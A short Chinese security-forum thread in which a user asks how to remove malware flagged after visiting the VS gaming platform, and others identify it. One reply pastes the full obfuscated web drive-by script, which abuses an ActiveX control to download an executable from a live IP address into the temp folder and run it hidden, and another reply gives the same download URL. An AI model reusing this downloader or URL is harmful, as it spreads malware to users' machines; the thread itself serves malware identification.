进入VS对战平台后启发的病毒

guoshu520

进入VS对战平台后启发~费尔报的病毒~~但是费尔找不到病毒的本体~~~
高手看看怎么删除

mofunzone

http://60.190.118.231/8/x.exe
都不加密。。

mofunzone

Virus or unwanted program 'TR/Dropper.Gen [trojan]'
detected in file 'C:\TDDOWNLOAD\x.exe.td.
Action performed: Allow access

Palkia

guoshu520

忘记了~~~~~~~~~~~~~~~~~

qigang

<SCRIPT>var qq575562708="%3Chtml%3E%3Cscript language%3D%22VBScript%22%3E    on error resume next%0D%0A";document.write(unescape(qq575562708))</SCRIPT>
Cikeqq575562708="http://60.190.118.231/8/x.exe"
ri = Cikeqq575562708
Set df = document.createElement("ob"&"ject")
df.setAttribute "classid", "clsid:B"&"D"&"9"&"6"&"C"&"5"&"5"&"6-6"&"5"&"A3-11D"&"0-98"&"3A-0"&"0C04FC"&"29E"&"36"
wocao="Microsoft"&".XMLHTTP"
Set x = df.CreateObject(wocao,"")
fuckqaz1="Ado"
fuckqaz2="db."
fuckqaz3="str"&"ea"
wocao1=fuckqaz1&fuckqaz2&fuckqaz3
wocao5=wocao1
set ["\x71\x61\x7a\x31\x32\x33"] = df.createobject(wocao5&"m","")
["\x71\x61\x7a\x31\x32\x33"].type = 1
wocao6="G"&"ET"
x.Open wocao6, ri, False
x.Send
fname1="g0ld"&".com"
set F = df.createobject("Scripti"&"ng.FilesystemObject","")
set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)
["\x71\x61\x7a\x31\x32\x33"].open
["\x71\x61\x7a\x31\x32\x33"].write x.ReSPoNSeBoDy
["\x71\x61\x7a\x31\x32\x33"].SAVETOFILE fname1,2
["\x71\x61\x7a\x31\x32\x33"].close
set Q = df.createobject("Shell.Ap"&"plication","")
Q.ShellExecute fname1,"","","ope"&"n",0
</script>

BING126

McAfee         New Malware.aj

allinwonderi

FP6 miss.